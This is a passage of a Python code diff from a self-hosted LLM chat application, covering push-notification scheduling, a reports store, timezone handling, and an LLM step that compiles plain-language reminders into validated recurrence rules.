_TASKS: set[Any] = set()
|
||||
|
||||
|
||||
def announce_later(user_id: str, *, title: str, body: str, url: str = "", kind: str = "") -> None:
|
||||
"""Announce from a path that must not wait for it, and must not fail with it.
|
||||
|
||||
Called where something *arrives* -- a reply finishing with nobody watching,
|
||||
a report being filed, a run posting into Messages -- rather than from the
|
||||
poll. That is the whole point: the poll needs an open page, and the case
|
||||
worth a notification is the one where there is none.
|
||||
|
||||
Each of those sites runs exactly once per arrival, which is what makes this
|
||||
fire once with no "already notified" flag of its own. `unread_notified` is
|
||||
the *page's* record of having toasted; borrowing it here would mean whichever
|
||||
channel got there first silenced the other.
|
||||
|
||||
Its own session, opened inside the task: the caller's is usually about to be
|
||||
committed and closed, and holding one open across a POST to somebody else's
|
||||
server is how a request comes to wait on a push service having a bad day.
|
||||
"""
|
||||
import asyncio
|
||||
|
||||
from lembas.db.session import session_scope
|
||||
|
||||
# The loop is checked *before* the coroutine is built, not by catching what
|
||||
# `create_task` raises without one. A coroutine made and then dropped is a
|
||||
# "never awaited" RuntimeWarning from wherever it was created -- which here
|
||||
# is every synchronous caller in the suite and every CLI command that files
|
||||
# a report. The warning would be the only symptom, and it would be
|
||||
# attributed to the caller rather than to this.
|
||||
try:
|
||||
asyncio.get_running_loop()
|
||||
except RuntimeError:
|
||||
return
|
||||
|
||||
async def run() -> None:
|
||||
try:
|
||||
with session_scope() as db:
|
||||
user = db.get(User, user_id)
|
||||
if user is None:
|
||||
return
|
||||
await announce(db, user, title=title, body=body, url=url, kind=kind)
|
||||
except Exception: # noqa: BLE001 - nothing upstream can act on this
|
||||
log.exception("could not announce to %s", user_id)
|
||||
|
||||
task = asyncio.create_task(run())
|
||||
_TASKS.add(task)
|
||||
task.add_done_callback(_TASKS.discard)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"announce",
|
||||
"announce_later",
|
||||
"encrypt_payload",
|
||||
"keys",
|
||||
"public_key",
|
||||
"send_one",
|
||||
"subscriptions_for",
|
||||
]
|
||||
@@ -1,232 +0,0 @@
|
||||
"""Reports: filing a finished piece of work, and finding it again.
|
||||
|
||||
A report is written and read; it is never answered. That is the whole shape of
|
||||
the thing, and it is why this store is deliberately thinner than
|
||||
`services/library/`: there is no sharing, because a report is a record of what
|
||||
somebody's own model did on their behalf, and no revisions, because a report
|
||||
describes a moment rather than a document being worked on.
|
||||
|
||||
`sharing.visible_to` is therefore absent on purpose rather than forgotten. If
|
||||
reports ever become shareable, `RESOURCE_TYPES` is where that starts, and every
|
||||
listing here has to go through the helper -- six independently written
|
||||
permission checks is how one of them ends up written slightly differently.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from sqlalchemy import func, select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import CHUNK_REPORT, SOURCE_MANUAL, SOURCES, Report, User
|
||||
from lembas.services import sharing
|
||||
from lembas.services.library import retrieval
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
INDEX = "reports_fts"
|
||||
|
||||
MAX_TITLE_CHARS = 300
|
||||
MAX_SUMMARY_CHARS = 500
|
||||
MAX_BODY_CHARS = 60_000
|
||||
SNIPPET_CHARS = 400
|
||||
|
||||
|
||||
def visible(user: User | None):
|
||||
"""Every report this person owns or has been shared.
|
||||
|
||||
Takes no session because it builds a query rather than running one, and
|
||||
takes `None` to mean nobody so an unauthenticated caller gets an empty
|
||||
result instead of an exception.
|
||||
|
||||
It said "a later move to shared reports is a change of one line here", and
|
||||
it was: `sharing.visible_to` is that line. Every listing, search and detail
|
||||
page went through this already, which is what made the move safe.
|
||||
"""
|
||||
return select(Report).where(sharing.visible_to(Report, user))
|
||||
|
||||
|
||||
def get(db: DBSession, report_id: str, user: User | None) -> Report | None:
|
||||
report = db.get(Report, report_id)
|
||||
if report is None or not sharing.can_read(db, report, user):
|
||||
return None
|
||||
return report
|
||||
|
||||
|
||||
def owned(db: DBSession, report_id: str, user: User | None) -> Report | None:
|
||||
"""The same, but only when they own it.
|
||||
|
||||
Sharing grants **reading**, so deleting and marking-as-read are the owner's
|
||||
alone. Two functions rather than a flag, because a route that wants one and
|
||||
calls the other is a bug you can see in the name.
|
||||
"""
|
||||
report = db.get(Report, report_id)
|
||||
if report is None or not sharing.can_write(report, user):
|
||||
return None
|
||||
return report
|
||||
|
||||
|
||||
def recent(db: DBSession, user: User | None, *, limit: int = 20) -> list[Report]:
|
||||
return list(db.scalars(visible(user).order_by(Report.created_at.desc()).limit(limit)))
|
||||
|
||||
|
||||
def search(
|
||||
db: DBSession,
|
||||
user: User | None,
|
||||
needle: str,
|
||||
*,
|
||||
limit: int = 20,
|
||||
vector: list[float] | None = None,
|
||||
) -> list[Report]:
|
||||
"""Reports matching `needle`, best match first.
|
||||
|
||||
Ids come back from FTS and the rows are re-ordered by hit position, exactly
|
||||
as the library stores do -- the index knows about ranking and the ORM query
|
||||
knows about ownership, and neither is asked to do the other's job.
|
||||
|
||||
`vector` is the query already embedded, or None. It comes from the caller
|
||||
rather than being worked out here because this is synchronous and embedding
|
||||
is an HTTP request -- see `services/library/retrieval.py`. None means the
|
||||
keyword search exactly as it always was.
|
||||
"""
|
||||
hits = retrieval.search(db, INDEX, needle, kind=CHUNK_REPORT, vector=vector, limit=limit * 4)
|
||||
if not hits:
|
||||
return []
|
||||
order = {hit.id: position for position, hit in enumerate(hits)}
|
||||
rows = list(db.scalars(visible(user).where(Report.id.in_(list(order)))))
|
||||
rows.sort(key=lambda report: order.get(report.id, len(order)))
|
||||
return rows[:limit]
|
||||
|
||||
|
||||
def unread_count(db: DBSession, user: User | None) -> int:
|
||||
if user is None:
|
||||
return 0
|
||||
return int(
|
||||
db.scalar(
|
||||
select(func.count()).select_from(Report).where(
|
||||
Report.owner_id == user.id, Report.unread.is_(True)
|
||||
)
|
||||
)
|
||||
or 0
|
||||
)
|
||||
|
||||
|
||||
def unannounced(db: DBSession, user: User | None) -> list[Report]:
|
||||
"""Reports that have arrived and have not been announced yet.
|
||||
|
||||
Separate from `unread_count`, which drives the dot: the dot may be shown for
|
||||
as long as something is unread, while an announcement fires once. Reading
|
||||
them apart is what stops the poll interrupting somebody every ten seconds
|
||||
with the same report until they open it.
|
||||
|
||||
Ordered oldest first, so several arriving between two ticks are announced in
|
||||
the order they were filed.
|
||||
"""
|
||||
if user is None:
|
||||
return []
|
||||
return list(
|
||||
db.scalars(
|
||||
select(Report)
|
||||
.where(
|
||||
Report.owner_id == user.id,
|
||||
Report.unread.is_(True),
|
||||
Report.unread_notified.is_(False),
|
||||
)
|
||||
.order_by(Report.created_at)
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def _first_line(body: str) -> str:
|
||||
"""A summary for a model that did not write one.
|
||||
|
||||
Markdown headings are stripped rather than shown: a list of reports all
|
||||
beginning "# " reads as a bug, and the heading is nearly always the title
|
||||
again.
|
||||
"""
|
||||
for line in (body or "").splitlines():
|
||||
stripped = line.strip().lstrip("#").strip()
|
||||
if stripped:
|
||||
return stripped[:MAX_SUMMARY_CHARS]
|
||||
return ""
|
||||
|
||||
|
||||
def create(
|
||||
db: DBSession,
|
||||
*,
|
||||
owner: User,
|
||||
title: str,
|
||||
body: str,
|
||||
summary: str = "",
|
||||
source: str = SOURCE_MANUAL,
|
||||
source_id: str = "",
|
||||
schedule_id: str = "",
|
||||
model_id: str = "",
|
||||
error: str = "",
|
||||
unread: bool = True,
|
||||
) -> Report:
|
||||
"""File a report.
|
||||
|
||||
Trimming happens here rather than at the column so an over-long write from
|
||||
a tool is filed short with everything else intact, instead of failing the
|
||||
turn -- the rule `memories` already follows.
|
||||
|
||||
`unread` defaults to True because every caller that matters is something
|
||||
that happened without the reader present. A report somebody typed themselves
|
||||
passes False.
|
||||
"""
|
||||
report = Report(
|
||||
owner_id=owner.id,
|
||||
title=(title.strip() or "Untitled report")[:MAX_TITLE_CHARS],
|
||||
summary=(summary.strip() or _first_line(body))[:MAX_SUMMARY_CHARS],
|
||||
body=(body or "").strip()[:MAX_BODY_CHARS],
|
||||
source=source if source in SOURCES else SOURCE_MANUAL,
|
||||
source_id=source_id or "",
|
||||
schedule_id=schedule_id or "",
|
||||
model_id=model_id or "",
|
||||
error=error or "",
|
||||
unread=unread,
|
||||
)
|
||||
db.add(report)
|
||||
db.commit()
|
||||
|
||||
# Here rather than at the scheduled-run site, because a report is filed from
|
||||
# two places -- a schedule delivering one, and a model calling `report_write`
|
||||
# in a chat nobody stayed on -- and both are arrivals somebody would want to
|
||||
# know about. `unread` is what says it is news; a report filed with it off
|
||||
# was made by the person reading this screen.
|
||||
if report.unread:
|
||||
from lembas.services import push as push_service
|
||||
|
||||
push_service.announce_later(
|
||||
report.owner_id,
|
||||
title=report.title or "Report filed",
|
||||
body=report.summary or "A report is waiting for you.",
|
||||
url=f"/reports/{report.id}",
|
||||
kind="report",
|
||||
)
|
||||
return report
|
||||
|
||||
|
||||
def mark_read(db: DBSession, report: Report) -> Report:
|
||||
if report.unread:
|
||||
report.unread = False
|
||||
db.commit()
|
||||
return report
|
||||
|
||||
|
||||
def delete(db: DBSession, report: Report) -> None:
|
||||
# Shares carry no foreign key to their resource, so nothing cascades and
|
||||
# this has to be said. A grant left behind names a report that has gone --
|
||||
# harmless now and a grant to whoever next holds that id later.
|
||||
sharing.forget_resource(db, report)
|
||||
db.delete(report)
|
||||
db.commit()
|
||||
|
||||
|
||||
def snippet(report: Report) -> str:
|
||||
text = (report.summary or report.body or "").strip()
|
||||
if len(text) <= SNIPPET_CHARS:
|
||||
return text
|
||||
return text[:SNIPPET_CHARS].rstrip() + "…"
|
||||
@@ -1,17 +0,0 @@
|
||||
"""Scheduling: what should happen later, and what makes it happen.
|
||||
|
||||
Four modules, split by what each of them is allowed to touch:
|
||||
|
||||
- `clock.py` -- whose idea of "now" is in force. No session, no rows.
|
||||
- `rule.py` -- the recurrence spec, and when it next comes due. Pure and
|
||||
total: it never raises, never opens a session and never reads
|
||||
the wall clock, which is what lets it be tested exhaustively
|
||||
before anything calls it.
|
||||
- `ticker.py` -- the loop that notices a schedule is due, and claims it.
|
||||
- `runner.py` -- what actually happens when one fires.
|
||||
|
||||
The order matters and is the phasing: everything upstream of `ticker.py` can be
|
||||
got wrong quietly, so it is settled first.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
@@ -1,111 +0,0 @@
|
||||
"""Whose idea of "now" is in force.
|
||||
|
||||
Until schedules existed, nothing here needed a timezone: `harness.py` stamped
|
||||
`datetime.now().astimezone()` and every reader was told the *server's* idea of
|
||||
the date. That is harmless when the answer is prose and wrong the moment a
|
||||
person says "every Monday at 3" and something has to work out when that is.
|
||||
|
||||
One resolver, because the model compiling a schedule, the screen echoing it back
|
||||
and the ticker firing it must agree about what Monday means. A disagreement here
|
||||
does not raise -- it fires at the wrong time, which is the kind of wrong nobody
|
||||
can debug from the outside.
|
||||
|
||||
Deliberately no new column. The zone lives in `user.settings_json["timezone"]`
|
||||
beside the theme, empty meaning "whatever the server is set to" -- which is the
|
||||
honest default for the single-user instance this mostly runs on, and is a real
|
||||
answer rather than a prompt to go and choose one.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from datetime import UTC, datetime, tzinfo
|
||||
from zoneinfo import ZoneInfo, ZoneInfoNotFoundError, available_timezones
|
||||
|
||||
from lembas.db.models import User
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
SETTING_KEY = "timezone"
|
||||
|
||||
|
||||
def server_zone() -> tzinfo:
|
||||
"""What the machine is set to, as a real tzinfo.
|
||||
|
||||
`astimezone()` on a naive stamp attaches the system zone, which is what the
|
||||
harness has always used. Read once per call rather than cached: a host whose
|
||||
zone changes under a long-running process is rare, and a cache that gets it
|
||||
wrong is worse than the lookup.
|
||||
"""
|
||||
return datetime.now().astimezone().tzinfo or UTC
|
||||
|
||||
|
||||
def known(name: str) -> bool:
|
||||
"""Whether this is a zone name Python can actually resolve.
|
||||
|
||||
`available_timezones()` reads the system database and is not cheap, so it is
|
||||
only consulted for a value that is about to be stored. Everything on the
|
||||
read path goes through `zone_for`, which simply falls back.
|
||||
"""
|
||||
return bool(name) and name in available_timezones()
|
||||
|
||||
|
||||
def resolve(name: str) -> tzinfo:
|
||||
"""A zone by name, falling back to the server's rather than raising.
|
||||
|
||||
A stored name can stop resolving -- the tz database is a system package and
|
||||
a zone can be renamed out from under a row. Falling back means a schedule
|
||||
fires an hour out at worst; raising means it does not fire at all and the
|
||||
ticker logs an exception nobody reads.
|
||||
"""
|
||||
if not name:
|
||||
return server_zone()
|
||||
try:
|
||||
return ZoneInfo(name)
|
||||
except (ZoneInfoNotFoundError, ValueError, OSError):
|
||||
log.warning("unknown timezone %r, falling back to the server's", name)
|
||||
return server_zone()
|
||||
|
||||
|
||||
def name_for(user: User | None) -> str:
|
||||
"""The stored name, or "" meaning the server's. Never resolved here --
|
||||
the settings form wants the raw value so an unset zone shows as unset."""
|
||||
if user is None:
|
||||
return ""
|
||||
return str((user.settings_json or {}).get(SETTING_KEY) or "")
|
||||
|
||||
|
||||
def zone_for(user: User | None) -> tzinfo:
|
||||
"""The zone a schedule of this person's fires in, and the one the harness
|
||||
should tell them the time in."""
|
||||
return resolve(name_for(user))
|
||||
|
||||
|
||||
def now_for(user: User | None) -> datetime:
|
||||
"""Aware, in the reader's zone."""
|
||||
return datetime.now(tz=zone_for(user))
|
||||
|
||||
|
||||
def to_utc(moment: datetime, *, zone: tzinfo) -> datetime:
|
||||
"""A wall-clock stamp in `zone`, as an instant.
|
||||
|
||||
Naive input is *interpreted* in `zone`; aware input is converted, so a
|
||||
caller that already knows the offset cannot have it silently reassigned.
|
||||
"""
|
||||
if moment.tzinfo is None:
|
||||
moment = moment.replace(tzinfo=zone)
|
||||
return moment.astimezone(UTC)
|
||||
|
||||
|
||||
def as_utc(moment: datetime) -> datetime:
|
||||
"""An instant, whatever it arrived as.
|
||||
|
||||
SQLite does not store the offset, so a row read back from disk is naive
|
||||
while one still in the session's identity map keeps its tzinfo, and
|
||||
comparing the two raises -- the same trap `compaction.moment` exists for.
|
||||
A naive stamp from the database is UTC by construction, because that is what
|
||||
every column here is written with.
|
||||
"""
|
||||
if moment.tzinfo is None:
|
||||
return moment.replace(tzinfo=UTC)
|
||||
return moment.astimezone(UTC)
|
||||
@@ -1,235 +0,0 @@
|
||||
"""Turning "remind me every Monday to check the build" into a schedule.
|
||||
|
||||
One request, once, when a schedule is created. It does two things a person
|
||||
should not have to do by hand: work out the recurrence, and rewrite the
|
||||
description into something that reads sensibly with **no conversation around
|
||||
it** — because that is how it will be read, days later, by a model that was not
|
||||
present when it was typed.
|
||||
|
||||
Three rules hold this up:
|
||||
|
||||
- **The rule goes through `rule.validate` and nothing else.** That function is
|
||||
total and clamping, and this is the reason it had to be: what arrives here is
|
||||
model output that becomes a *timer*. There is one normaliser, shared with the
|
||||
manual form, so there cannot be two ideas of what a legal schedule is.
|
||||
- **A compile that fails is not an error.** It hands back what it could work out
|
||||
and the caller shows the manual form with the reader's own words in it. A
|
||||
model that answers in prose must never quietly produce a schedule that never
|
||||
fires.
|
||||
- **Clearing `task.schedule_compile` switches off the compiling, not the
|
||||
feature.** That is what makes "an empty override means off" safe here, and it
|
||||
is only safe because the manual form exists. `task.compact` set the precedent
|
||||
that clearing a fragment kills a feature, so this one says otherwise in its
|
||||
own hint.
|
||||
|
||||
Deliberately no `response_format`. Several local endpoints reject unknown
|
||||
parameters outright, and this is exactly the `apply_effort` lesson: a request
|
||||
that 400s here would be the compile silently switching itself off.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import UTC, datetime
|
||||
|
||||
from lembas.db.models import TARGET_CHAT, TARGETS, Chat, User
|
||||
from lembas.services.llm.openai_client import Endpoint, LLMError, complete
|
||||
from lembas.services.reasoning import strip_reasoning
|
||||
from lembas.services.schedule import clock
|
||||
from lembas.services.schedule import rule as rule_service
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# Enough for a small model that thinks before answering. The title lesson
|
||||
# applies: too small is not a shorter answer, it is no answer, because the
|
||||
# thinking consumes the budget and content comes back empty.
|
||||
MAX_TOKENS = 900
|
||||
MAX_REQUEST_CHARS = 2000
|
||||
|
||||
_FENCE = re.compile(r"```(?:json)?\s*(.*?)```", re.DOTALL)
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Compiled:
|
||||
"""What the compile worked out. `ok` is False when the reader must finish
|
||||
the job by hand -- the fields are still filled in as far as they went."""
|
||||
|
||||
ok: bool = False
|
||||
title: str = ""
|
||||
instruction: str = ""
|
||||
target: str = TARGET_CHAT
|
||||
rule: dict = field(default_factory=dict)
|
||||
reason: str = ""
|
||||
|
||||
|
||||
def _payload(raw: str) -> dict:
|
||||
"""The first JSON object in a reply, however it was wrapped.
|
||||
|
||||
Lenient for the reason `tools.parse_arguments` is: a small model sends
|
||||
something close to the shape rather than the shape, and refusing it costs a
|
||||
whole round trip to end up showing the manual form anyway.
|
||||
"""
|
||||
text = (raw or "").strip()
|
||||
fenced = _FENCE.search(text)
|
||||
if fenced:
|
||||
text = fenced.group(1).strip()
|
||||
if not text.startswith("{"):
|
||||
start, end = text.find("{"), text.rfind("}")
|
||||
if start == -1 or end <= start:
|
||||
return {}
|
||||
text = text[start : end + 1]
|
||||
try:
|
||||
parsed = json.loads(text)
|
||||
except (ValueError, TypeError):
|
||||
return {}
|
||||
return parsed if isinstance(parsed, dict) else {}
|
||||
|
||||
|
||||
def render_prompt(template: str, *, request: str, user: User | None) -> str:
|
||||
"""Fill the fragment in. Separate so a test can read what was asked."""
|
||||
from lembas.services import prompts as prompts_service
|
||||
|
||||
zone = clock.zone_for(user)
|
||||
now = datetime.now(tz=UTC).astimezone(zone)
|
||||
return prompts_service.substitute(
|
||||
template,
|
||||
{
|
||||
"request": request[:MAX_REQUEST_CHARS],
|
||||
"now": now.strftime("%A %-d %B %Y, %H:%M"),
|
||||
"timezone": clock.name_for(user) or str(clock.server_zone()),
|
||||
"targets": ", ".join(TARGETS),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
async def compile_request(
|
||||
endpoint: Endpoint,
|
||||
model_id: str,
|
||||
request: str,
|
||||
*,
|
||||
template: str,
|
||||
user: User | None = None,
|
||||
) -> Compiled:
|
||||
"""Work a plain-language request into a schedule.
|
||||
|
||||
Never raises. Every failure -- a cleared fragment, an endpoint that is down,
|
||||
prose instead of JSON, a rule that normalises to nothing -- comes back as
|
||||
`ok=False` with whatever was salvageable, and the route shows the manual form.
|
||||
"""
|
||||
plain = (request or "").strip()
|
||||
if not plain:
|
||||
return Compiled(reason="Say what you want to happen.")
|
||||
if not template.strip():
|
||||
# An administrator cleared the fragment. That switches off the
|
||||
# *compiling*: the reader fills the form in themselves, with their own
|
||||
# words already in it.
|
||||
return Compiled(instruction=plain, title=plain[:80], reason="")
|
||||
|
||||
prompt = render_prompt(template, request=plain, user=user)
|
||||
body = {
|
||||
"model": model_id,
|
||||
"messages": [{"role": "user", "content": prompt}],
|
||||
"max_tokens": MAX_TOKENS,
|
||||
"temperature": 0.2,
|
||||
}
|
||||
|
||||
# Asked twice before giving up, and only when the *reply* was unusable.
|
||||
# Measured against a 4B model on this machine: the prompt itself is sound --
|
||||
# ten realistic requests compiled ten times over, twice -- but roughly one
|
||||
# call in six came back empty or truncated, which a local runner swapping
|
||||
# models under the request will do. One retry costs a second on a screen
|
||||
# somebody is already waiting at, and turns "fill this in yourself" from
|
||||
# something seen regularly into something seen rarely.
|
||||
#
|
||||
# Deliberately not retried on an LLMError: an endpoint that refused the
|
||||
# connection will refuse it again, and the reader is better served by the
|
||||
# form than by waiting twice for the same answer.
|
||||
payload: dict = {}
|
||||
for attempt in range(2):
|
||||
try:
|
||||
raw = await complete(endpoint, body)
|
||||
except LLMError as exc:
|
||||
log.info("schedule compile failed: %s", exc)
|
||||
return Compiled(
|
||||
instruction=plain,
|
||||
title=plain[:80],
|
||||
reason="The model could not be reached, so fill this in yourself.",
|
||||
)
|
||||
# A model that thinks inline puts its reasoning in `content`, which is
|
||||
# the field `complete` hands back verbatim -- the trap auto-titling hit.
|
||||
answered, _ = strip_reasoning(raw)
|
||||
payload = _payload(answered)
|
||||
if payload:
|
||||
break
|
||||
log.info("schedule compile produced no JSON (attempt %s)", attempt + 1)
|
||||
|
||||
if not payload:
|
||||
return Compiled(
|
||||
instruction=plain,
|
||||
title=plain[:80],
|
||||
reason="The model did not answer with a schedule, so fill this in yourself.",
|
||||
)
|
||||
|
||||
raw_rule = payload.get("schedule") or payload.get("rule") or {}
|
||||
if isinstance(raw_rule, dict):
|
||||
# A model asked for "every six hours" writes `{"every": {"hours": 6}}`
|
||||
# and nothing else, which is the natural reading and cannot fire: a
|
||||
# timer measures from a start, and `rule.py` has no clock to invent one.
|
||||
# Filled in here, exactly as the manual form's `_rule_from_form` does,
|
||||
# so the two paths agree about what a startless timer means. A model
|
||||
# that puts `start` at the top level instead is read the same way rather
|
||||
# than being told its schedule means nothing.
|
||||
raw_rule = dict(raw_rule)
|
||||
if raw_rule.get("every") and not raw_rule.get("start"):
|
||||
raw_rule["start"] = payload.get("start") or datetime.now(tz=UTC).isoformat()
|
||||
clean = rule_service.validate(raw_rule)
|
||||
title = str(payload.get("title") or "").strip() or plain[:80]
|
||||
instruction = str(payload.get("instruction") or "").strip() or plain
|
||||
target = str(payload.get("target") or TARGET_CHAT)
|
||||
if target not in TARGETS:
|
||||
target = TARGET_CHAT
|
||||
|
||||
if not clean:
|
||||
return Compiled(
|
||||
title=title,
|
||||
instruction=instruction,
|
||||
target=target,
|
||||
reason="The model could not work out when this should run — say when below.",
|
||||
)
|
||||
if rule_service.next_after(clean, datetime.now(tz=UTC), zone=clock.zone_for(user)) is None:
|
||||
# Normalised, but with nothing left to fire. Refused for the same reason
|
||||
# `schedules.create` refuses it: a schedule that can never run looks
|
||||
# exactly like a working one on every screen it appears on.
|
||||
return Compiled(
|
||||
title=title,
|
||||
instruction=instruction,
|
||||
target=target,
|
||||
rule=clean,
|
||||
reason="That time has already passed — say when it should run.",
|
||||
)
|
||||
|
||||
return Compiled(ok=True, title=title, instruction=instruction, target=target, rule=clean)
|
||||
|
||||
|
||||
def endpoint_for(db, user: User) -> tuple[Endpoint, str] | None:
|
||||
"""A connection and model to compile with, or None if there is none.
|
||||
|
||||
Built on a throwaway `Chat` that is never added to a session, exactly as
|
||||
`agent/draft.py` does: `resolve_endpoint` reads `model_id` and
|
||||
`connection_id` and nothing else, so it works unchanged and did not have to
|
||||
learn what a compile is.
|
||||
"""
|
||||
from lembas.services import chat as chat_service
|
||||
|
||||
models = chat_service.available_models(db, user)
|
||||
if not models:
|
||||
return None
|
||||
chosen = next((m for m in models if m.pinned), models[0])
|
||||
stand_in = Chat(user_id=user.id, model_id=chosen.model_id, connection_id=chosen.connection_id)
|
||||
try:
|
||||
return chat_service.resolve_endpoint(db, stand_in)
|
||||
except LLMError:
|
||||
return None
|
||||
@@ -1,545 +0,0 @@
|
||||
"""When a schedule next comes due.
|
||||
|
||||
Pure and total. Nothing here opens a session, reads the wall clock or raises:
|
||||
every function takes what it needs and answers, so the whole of this module can
|
||||
be tested exhaustively before anything calls it. That is deliberate, because
|
||||
everything downstream fails *quietly* -- a schedule that never fires looks
|
||||
exactly like a working one on the list page, and a schedule that fires an hour
|
||||
out looks like nothing at all until somebody notices the report is late.
|
||||
|
||||
## The shape
|
||||
|
||||
Plain cron cannot say "ten minutes from now, five times", so the rule is a dict
|
||||
with two independent generators and a bound:
|
||||
|
||||
{
|
||||
"start": "2026-08-05T14:30:00Z", # first candidate instant, UTC
|
||||
"every": {"minutes": 10}, # a stride
|
||||
"at": {"weekdays": [0], # 0 = Monday
|
||||
"days": [1, 15], # day of the month
|
||||
"months": [1, 4, 7, 10],
|
||||
"times": ["15:00"]}, # wall-clock, in the owner's zone
|
||||
"count": 5, # total firings, 0 = unbounded
|
||||
"until": "2026-12-31T00:00:00Z" # last instant, "" = unbounded
|
||||
}
|
||||
|
||||
`every` and `at` compose, and the four combinations are the whole vocabulary:
|
||||
|
||||
every at meaning
|
||||
----- ---- ------------------------------------------------------------
|
||||
- - fire once, at `start`
|
||||
x - a timer: start, start + every, start + 2*every, ...
|
||||
- x a calendar: every matching wall-clock moment after `start`
|
||||
x x a calendar with a stride: matching moments, every Nth kept
|
||||
|
||||
## Timezone, and why the two halves differ
|
||||
|
||||
`at.times` are **wall-clock** in the owner's zone: 15:00 stays 15:00 across a
|
||||
DST change, because that is what "every Monday at 3PM" means to the person who
|
||||
said it. `every` durations are **elapsed real time**: ten minutes is ten
|
||||
minutes, and a six-hourly timer must not skip or double on a 23- or 25-hour day.
|
||||
Those are different meanings, not an inconsistency, and conflating them is how
|
||||
one of the two comes out wrong twice a year.
|
||||
|
||||
A wall-clock time that does not exist (the hour skipped on a spring-forward day)
|
||||
fires at the first instant that does, rather than being skipped -- a daily report
|
||||
vanishing once a year is precisely the silent failure this file exists to avoid.
|
||||
One that occurs twice on a fall-back day fires on the first, once.
|
||||
|
||||
## Not expressible
|
||||
|
||||
Said plainly, because the gap is the point: "the last Friday of the month", "the
|
||||
third Monday", "weekdays except holidays", "the Nth business day", sub-minute
|
||||
intervals, sunrise-relative times, and any conditional firing ("only if the
|
||||
build is red"). The first two are what people will actually ask for; the rule is
|
||||
JSON, so an `nth` key inside `at` adds them later with no migration.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from datetime import UTC, datetime, timedelta, tzinfo
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# The stride units, and how many seconds each is worth. Months are absent on
|
||||
# purpose: a month is not a duration, and "every month" is `at: {days: [n]}`,
|
||||
# which is what somebody means by it.
|
||||
UNITS: dict[str, int] = {
|
||||
"minutes": 60,
|
||||
"hours": 3600,
|
||||
"days": 86400,
|
||||
"weeks": 604800,
|
||||
}
|
||||
|
||||
# Bounds. Every one of these is a clamp rather than a rejection, because the
|
||||
# rule can arrive from a *model* -- the compile step's output is model output
|
||||
# that becomes a timer, and `validate` is this feature's `nh3.clean`.
|
||||
MIN_INTERVAL_SECONDS = 60
|
||||
MAX_INTERVAL_SECONDS = 366 * 86400
|
||||
MAX_COUNT = 10_000
|
||||
MAX_TIMES = 24
|
||||
MAX_HORIZON_DAYS = 366 * 5
|
||||
|
||||
# How far ahead a calendar search will walk before giving up. A rule asking for
|
||||
# 31 February matches nothing, and a search with no bound would spin for ever
|
||||
# inside the ticker. Days rather than iterations, so the limit is a statement
|
||||
# about the schedule rather than about the loop.
|
||||
SEARCH_DAYS = 366 * 4
|
||||
|
||||
WEEKDAYS = (0, 1, 2, 3, 4, 5, 6)
|
||||
|
||||
|
||||
# --- Reading a rule ------------------------------------------------------------
|
||||
def _int(value: object, *, low: int, high: int, default: int = 0) -> int:
|
||||
try:
|
||||
number = int(value) # type: ignore[arg-type]
|
||||
except (TypeError, ValueError):
|
||||
return default
|
||||
return max(low, min(number, high))
|
||||
|
||||
|
||||
def _stamp(value: object) -> datetime | None:
|
||||
"""An ISO instant, or None. Naive input is read as UTC.
|
||||
|
||||
`fromisoformat` handles a trailing Z from Python 3.11, but a model writes
|
||||
all sorts of things, so anything unparseable is simply absent.
|
||||
"""
|
||||
if isinstance(value, datetime):
|
||||
return value if value.tzinfo else value.replace(tzinfo=UTC)
|
||||
if not isinstance(value, str) or not value.strip():
|
||||
return None
|
||||
try:
|
||||
parsed = datetime.fromisoformat(value.strip().replace("Z", "+00:00"))
|
||||
except ValueError:
|
||||
return None
|
||||
return parsed if parsed.tzinfo else parsed.replace(tzinfo=UTC)
|
||||
|
||||
|
||||
def _times(value: object) -> list[tuple[int, int]]:
|
||||
"""Wall-clock times as (hour, minute), sorted and deduplicated.
|
||||
|
||||
Accepts "15:00", "15:00:30" and "9:5", because a model writes all three, and
|
||||
a rule refused for its punctuation is a round trip spent on nothing.
|
||||
"""
|
||||
if isinstance(value, str):
|
||||
value = [value]
|
||||
if not isinstance(value, (list, tuple)):
|
||||
return []
|
||||
found: set[tuple[int, int]] = set()
|
||||
for item in list(value)[:MAX_TIMES]:
|
||||
if not isinstance(item, str) or ":" not in item:
|
||||
continue
|
||||
hour, _, rest = item.strip().partition(":")
|
||||
minute = rest.partition(":")[0]
|
||||
try:
|
||||
pair = (int(hour), int(minute))
|
||||
except ValueError:
|
||||
continue
|
||||
if 0 <= pair[0] <= 23 and 0 <= pair[1] <= 59:
|
||||
found.add(pair)
|
||||
return sorted(found)
|
||||
|
||||
|
||||
def _numbers(value: object, *, low: int, high: int) -> list[int]:
|
||||
if isinstance(value, int) and not isinstance(value, bool):
|
||||
value = [value]
|
||||
if not isinstance(value, (list, tuple)):
|
||||
return []
|
||||
found: set[int] = set()
|
||||
for item in value:
|
||||
if isinstance(item, bool):
|
||||
continue
|
||||
try:
|
||||
number = int(item) # type: ignore[arg-type]
|
||||
except (TypeError, ValueError):
|
||||
continue
|
||||
if low <= number <= high:
|
||||
found.add(number)
|
||||
return sorted(found)
|
||||
|
||||
|
||||
def _every(value: object) -> dict[str, int]:
|
||||
"""A stride, clamped to something that can actually be run.
|
||||
|
||||
An interval under a minute is refused rather than clamped to a minute: the
|
||||
ticker's own granularity is coarser than that, so honouring it is impossible
|
||||
and pretending to would be a schedule that silently runs late for ever.
|
||||
Clamped up, because "every 10 seconds" from a model means "often", and often
|
||||
is a minute.
|
||||
"""
|
||||
if not isinstance(value, dict):
|
||||
return {}
|
||||
seconds = 0
|
||||
